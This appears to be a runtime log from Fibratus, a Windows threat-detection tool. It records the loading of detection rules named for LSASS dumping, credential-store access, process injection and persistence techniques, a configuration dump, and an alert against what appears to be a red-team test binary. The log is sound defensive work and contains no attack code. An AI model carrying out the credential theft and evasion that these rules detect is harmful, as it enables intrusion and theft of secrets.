+time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:21:28+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T16:21:28+01:00 level=info msg=bootstrapping with pid 3880. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T16:21:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-threadpool=>false enable-audit-api=>true enable-vamap=>true enable-net=>true enable-fileio=>true max-buffers=>36 enable-dns=>false flush-interval=>1s stack-enrichment=>true min-buffers=>16 buffer-size=>512 enable-image=>true enable-handle=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 formatter=>text max-backups=>15 max-age=>0 level=>info] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ durable=>false vhost=>/ timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 passive=>false exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false delivery-mode=>transient] elasticsearch=>[ index-name=>fibratus healthcheck=>true timeout=>5s gzip-compression=>false healthcheck-interval=>10s flush-period=>1s servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false bulk-workers=>1 template-name=>fibratus enabled=>false healthcheck-timeout=>5s] http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false endpoints=>[] serializer=>json timeout=>5s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-files=>false skip-mmaps=>false excluded-procs=>[] enabled=>false skip-registry=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-11T16:21:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:21:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T16:21:40+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 1930933 + Pid: 2064 + Tid: 18164 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 16:21:34.4682594 +0100 CET + Params: base_address➜ 1e56ac50000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2064, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.seq.link: 2064, rule.name: Potential NTDLL memory unhooking, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 2064 + Ppid: 17996 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 1929908 + Pid: 2064 + Tid: 18164 + Type: SetThreadContext + CPU: 1 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 16:21:34.5648107 +0100 CET + Params: status➜ The handle is invalid + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking, rule.seq.link: 2064 + + Pid: 2064 + Ppid: 17996 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T16:24:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T16:24:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:24:27+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T16:58:51+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T16:58:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, 